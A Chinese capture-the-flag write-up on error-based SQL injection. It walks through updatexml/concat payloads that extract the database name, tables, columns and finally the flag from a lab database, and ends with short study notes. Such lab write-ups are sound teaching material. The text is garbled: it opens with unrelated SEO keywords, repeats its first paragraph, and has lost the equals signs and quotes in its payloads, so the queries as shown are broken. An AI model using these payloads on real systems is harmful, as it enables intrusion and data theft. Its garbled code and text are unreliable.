医院网站模板 html,网站内容描述,wordpress 调试,linux 网站建设进入靶场 按照提示输入1 显示查询正确
既然是报错注入#xff0c;先判断整形还是字符型注入
先输入1 and 11
再输入1 and 12 都显示查询正确#xff0c;可知此为字符串型注入#xff0c;不是数字型注入
然后就不会了
求助AI和其他wp 由以上2张搜索结果知updatexml是适用…
进入靶场 按照提示输入1 显示查询正确
既然是报错注入先判断整形还是字符型注入
先输入1 and 11
再输入1 and 12 都显示查询正确可知此为字符串型注入不是数字型注入
然后就不会了
求助AI和其他wp 由以上2张搜索结果知updatexml是适用于字府串型注入的函数且知道大概用法开始注入
爆出库名 1 and updatexml(1,concat(0x7e,database()),3) 爆出表名 1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemasqli)),3) 爆出字段名 1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_nameflag)),3) 并没有显示字段名添加了库名后才显示应该是含有多个flag表添加库名缩小了范围便显示出来了
1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schemasqli and table_nameflag)),3)
爆出字段内容 1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3) 得到flag 笔记
1报错注入先判断是字府串型注入还是数字注入
2判断出类型便可运用相关函数
3updatexml函数 1 and updatexml(1,concat(0x7e,database()),3)
第一个与第三个参数随便写因为我们并不用它参数2处的concat 是一个用于连接字符串的函数0x7e代表16进制避免特殊字符造成的错误
